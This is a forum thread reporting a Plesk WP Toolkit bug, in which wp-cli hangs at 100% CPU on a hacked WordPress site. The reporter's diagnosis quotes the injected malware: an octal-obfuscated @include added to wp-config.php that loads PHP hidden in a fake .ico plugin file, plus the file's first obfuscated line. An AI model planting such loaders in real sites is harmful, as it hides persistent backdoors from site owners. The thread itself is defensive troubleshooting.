Forwarded to devs wp toolkit: 100% CPU when running " -- core info" on a broken wp instance

[burnley]

TITLE:

wp toolkit: 100% CPU when running " -- core info" on a broken wp instance​

PRODUCT, VERSION, OPERATING SYSTEM, ARCHITECTURE:

CentOS Linux release 7.5.1804 (Core)
Plesk Onyx
Version 17.5.3 Update #51, last updated on June 20, 2018 10:10 PM​

PROBLEM DESCRIPTION:

Looks like one of the bugs hard to replicate in a lab, however: we have a broken WP instance as a result of remote hack. The affected site is now password protected. In the Wordpress page for this site Plesk displays:
Broken instance on 'site.com.au' in '/httpdocs'
The daily plesk maintenance cronjob would launch every night a wp toolkit process which goes 100% and never finishes like this one:
/usr/bin/php -d safe_mode=off -d display_errors=off -d opcache.enable_cli=off -d open_basedir= -c /var/www/vhosts/system/site.com.au/etc/php.ini /usr/local/psa/admin/plib/modules/wp-toolkit/vendor/wp-cli/wp-cli/bin/../php/boot-fs.php --path=/var/www/vhosts/site.com.au/httpdocs admin-username is-secure​

STEPS TO REPRODUCE:

plesk ext wp-toolkit --wp-cli -instance-id 42 -- core info

This process never finishes.​

ACTUAL RESULT:

100% CPU​

EXPECTED RESULT:

Process finishes successfully.​

ANY ADDITIONAL INFORMATION:

​

YOUR EXPECTATIONS FROM PLESK SERVICE TEAM:

Confirm bug​

 

[burnley]

Uploaded the gdb output as zip.

 

[burnley]

Obtained few more core dumps in /var/www/vhosts/site.com.au after running:
ulimit -u unlimited
/usr/local/psa/admin/bin/filemng user exec /var/www/vhosts/site.com.au /usr/local/psa/admin/plib/modules/wp-toolkit/vendor/wp-cli/wp-cli/bin/wp --path=/var/www/vhosts/site.com.au/httpdocs core info <---- this causes the 100%CPU usage problem

 

[burnley]

Righto, had a look at the compromised site and apparently the plesk bug is triggered by the following code injected at the top of wp-config.php:

/*c255c*/

@include "\057v\141r\057w\167w\057v\150o\163t\163/[edited]163.\143o\155.\141u\057h\164t\160d\157c\163/\167p\055c\157n\164e\156t\057p\154u\147i\156s\057f\141s\164e\162-\160a\147i\156a\164i\157n\057.\0603\0647\146c\066b\056i\143o";

/*c255c*/

Which points to /httpdocs/wp-content/plugins/faster-pagination/.0347fc6b.ico that starts with:
<?php
$_zaqlk = basename/*h*/(/*hs4y*/trim/*nwld8*/(/*mz*/preg_replace/*gf*/(/*xhsj*/rawurldecode/*yd5s1*/(/*gs*/"%2F%5C%28.%2A%24%2F"/*3d*/)/*t52h*/,

Typical obfuscated php code.

Removing the above from wp-config.php allows the commands to return:
plesk ext wp-toolkit --wp-cli -instance-id 42 -- core info
[2018-08-09 11:00:31] ERR [util_exec] proc_close() failed ['/usr/local/psa/admin/bin/filemng' 'user' 'exec' '/var/www/vhosts/site.com.au' '/usr/local/psa/admin/plib/modules/wp-toolkit/vendor/wp-cli/wp-cli/bin/wp' '--path=/var/www/vhosts/site.com.au/httpdocs' 'core' 'info'] with exit code [1]
'info' is not a registered subcommand of 'core'. See 'wp help core' for available subcommands.
{"err_code":true,"err_message":"'info' is not a registered subcommand of 'core'. See 'wp help core' for available subcommands."}

Looks like a pretty damn serious issue to me, can probably take down a Plesk server if several dozens wp sites get compromised in a similar way.

 

[IgorG]

So, looks like it is not a bug but result of a hacking attack.
In order to investigate details, root access to your server is required. Please, contact Plesk Support Team for the further investigation.

 

[burnley]

Igor, to be more precise, a hacked site resulted in a CPU starvation issue caused by a bug in Plesk's wp toolkit code. We can't offer you root access, but I can send you the malicious file that appears to have triggered the issue. Do you allow files sent via PM?

 

[IgorG]

Sorry, but I still insist on your contacting the Plesk Support Team. This will be more timely and effective to solve the problem.

 

[burnley]

Sure Igor, will have to contact Plesk support. In the meantime I did few more tests on an internal testing Plesk instance brought up to date, now running Version 17.5.3 Update #54, last updated on Aug 9, 2018 02:15 PM.
1. On a test subscription I injected the malicious code and file and tried to replicate the problem. No luck
2. I did a Plesk backup of the compromised site and restored it on the testing Plesk server, then went in Plesk in the Wordpress window for the domain and clicked refresh. Kaboom, 100%CPU. There's something about this site that causes the bug.

 

[Aleksey Filatev]

Sure Igor, will have to contact Plesk support. In the meantime I did few more tests on an internal testing Plesk instance brought up to date, now running Version 17.5.3 Update #54, last updated on Aug 9, 2018 02:15 PM.
1. On a test subscription I injected the malicious code and file and tried to replicate the problem. No luck
2. I did a Plesk backup of the compromised site and restored it on the testing Plesk server, then went in Plesk in the Wordpress window for the domain and clicked refresh. Kaboom, 100%CPU. There's something about this site that causes the bug.

Could you please give us access to this test Plesk server for investigation? Basically, WordPress Toolkit uses wp-cli to link with WordPress sources and execute it. So, if the instance code is infected, the issue which you describe could be possible. Actually, you can detach the broken site from WordPress Toolkit to avoid issues with automatic tasks.

 

[burnley]

Aleksey, thanks for replying. In the meantime the issue was replicated on another Plesk server on another site and I'm now uploading an archive for your support team to analyze it and try to replicate the bug..

 

[burnley]

Thanks to Plesk support team it's been confirmed this is the same issue as the one documented here:
Low server performance: WP Toolkit processes are stuck
We need a fix for it asap.